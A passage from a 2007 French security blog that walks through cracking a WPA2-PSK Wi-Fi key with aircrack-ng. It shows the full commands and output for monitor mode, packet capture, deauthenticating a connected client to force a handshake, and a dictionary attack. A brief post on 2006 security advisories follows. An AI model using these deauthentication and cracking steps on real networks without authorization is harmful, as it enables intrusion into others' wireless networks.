Pour cela nous utilisons airmon-ng

fluxdeb:~# airmon-ng

usage: airmon-ng <start|stop> <interface> [channel]

Interface Chipset Driver

wifi0 Atheros madwifi-ng

wifi1 Atheros madwifi-ng

1) Passage en mode Monitor

fluxdeb:~# airmon-ng start wifi1

usage: airmon-ng <start|stop> <interface> [channel]

Interface Chipset Driver

wifi0 Atheros madwifi-ng

wifi1 Atheros madwifi-ng

ath0 Atheros madwifi-ng VAP (parent: wifi1) (monitor mode enabled)

Lors du passage en mode Monitor airmon crée un interface virtuel ath0. J’utiliserai ath0 pour la suite du cracking.

2) Découverte des réseaux.

La commande airodump-ng permet de « sniffer » le réseaux afin de découvrir les réseaux wifi disponible.

L’utilisation sans argument permet l’écoute sur tout les canaux et de tout les SSID.

Notez qu’il est possible d’utiliser deux interfaces pour sniffer doublant ainsi la rapidité d’obtention de packet.

airodump-ng <options> <interface>[,<interface>,...]

CH 10 ][ Elapsed: 16 s ][ 2007-05-10 15:24

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:16:46:C6:2D:B1 31 28 0 0 13 54. WEP WEP XXXXX 00:16:46:C6:2D:B0 32 27 7 0 13 54. WPA2 CCMP PSK XXXXX

BSSID STATION PWR Lost Packets Probes

Voici donc nos deux réseaux, le réseaux que je vais cracker est 00:16:46:C6:2D:B0

On peut voir qu'il envoie sur le channel 13. Je vais donc demander a airodump-ng d'ecouter exclusivement notre réseau.


airodump-ng -c 13 -b 00:16:46:C6:2D:B0 -w psk ath0

-c : channel a écouter

-b : mac adress de l'ap

-w : fichier ou l'on sauvegarde les IVs

ath0 : interface

J'obtiens donc ceci

CH 13 ][ Elapsed: 4 s ][ 2007-05-10 15:32

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:16:46:C6:2D:B0 33 58 71 115 3 13 54. WPA2 CCMP PSK XXXXXX

BSSID STATION PWR Lost Packets Probes

00:16:46:C6:2D:B0 00:0C:F1:04:77:D2 43 0 79

Ce qui est important ici ce sont les stations connectés au point d'accès

Il y a en a 1 qui est associé. (00:16:46:C6:2D:B0)

3) Création de traffic.

Afin d'accélérer la récolte d'information, je vais forcer le client authentifié à générer du traffic en le déassociant du point d'accès. Pour ce faire il faut utiliser aireplay-ng.


aireplay-ng -0 1 -a 00:16:46:C6:2D:B0 -c 00:0C:F1:04:77:D2 ath0

-0 : type d'attaque ( déassotiation )

1 : nombre de déassotiation à envoyer

-a : mac de l'ap

-c : mac du client authentifié


15:46:14 Sending DeAuth to station -- STMAC: [00:0C:F1:04:77:D2]

Ce résultat creé donc du traffic ce qui vas augmenter nos chances de cracker la psk.

4) Cracking de la PSK

Afin de cracker la psk aircrack utilise une attaque par dictionnaire.


aircrack-ng -w dico /home/corbier/psk-0*.cap

-w : dictionnaire

/home/corbier.psk-0*.cap : fichier contenant les IVs

Read 78425 packets.

# BSSID ESSID Encryption

1 00:16:46:C6:2D:B0 XXXXXX WPA (1 handshake)

Index number of target network ? 1

Aircrack-ng 0.6.2

[00:00:00] 56 keys tested (83.64 k/s)

KEY FOUND! [ ??????????? ]

Master Key : 31 96 83 02 6E 0D A7 0B 7C 42 95 E2 13 50 FE 31

1A 25 44 5E C4 6D C5 74 54 B7 1F 37 7F C6 E4 65

Transcient Key : F4 B4 54 7E 5E 1A 49 F4 2F 0E 1B CA 25 C1 22 09

B7 F6 E1 6F 2A 00 B9 F5 31 5D 7D A6 97 9B D1 7B

7C 67 3C 15 FF C1 5B D4 7B 0A D4 18 A1 3C EA C6

F8 7B A2 8C 9E 7F FA D4 C4 92 AF 06 4C 47 06 9A

EAPOL HMAC : FF 23 6C A2 A6 10 FF E0 A9 53 E0 2E 1F 61 44 BB

Et voila

Filed under Linux, Securité, wifi having No Comments »

Archives Posts

Reverse Mode

juillet 19th, 2007 by Corbier

Voici un pdf des plus gros avis de sécurité de l’année 2006, c’est le site reversemode qui propose ce pdf. On peux noter un gros manque de compétance et de réactivité concernant les failles de microsoft.

Bravo a eux pour leurs trois failles non patché qui date repectivement de Mai, Juin, Decembre

Filed under Securité, windows having No Comments »